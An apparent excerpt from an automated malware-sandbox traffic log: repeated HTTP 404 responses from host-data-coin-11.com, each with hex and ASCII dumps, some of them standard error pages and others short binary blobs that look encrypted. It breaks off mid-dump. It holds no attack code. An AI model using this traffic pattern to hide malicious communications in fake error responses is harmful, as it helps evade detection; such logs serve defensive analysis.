Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b0 a2 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fI:82OI%70
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 67 5d a4 09 d7 cd 66 c7 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevg]fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 37 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 99 d6 08 56 3d 41 be f5 dc fc fb 49 f5 53 d2 31 f9 53 47 91 0d 0a 30 0d 0a 0d 0a Data Ascii: 27I:82OV=AIS1SG0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 96 d3 08 55 3b 43 be f4 d4 fc fc 43 eb 1e d1 6d bc 19 74 b6 50 a1 b9 70 b8 7b 07 50 b9 e1 d9 0d 0a 30 0d 0a 0d 0a Data Ascii: 32I:82OU;CCmtPp{P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 43 4e c7 3d c2 ec 66 b5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevCN=fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 49 eb ab 85 70 bc 57 dd 40 d7 fe 26 83 22 eb c3 93 58 28 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9IpW@&"X(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 37 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 99 d6 08 56 3d 41 be f5 dc fc fb 49 f5 53 d2 30 f9 53 47 91 0d 0a 30 0d 0a 0d 0a Data Ascii: 27I:82OV=AIS0SG0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 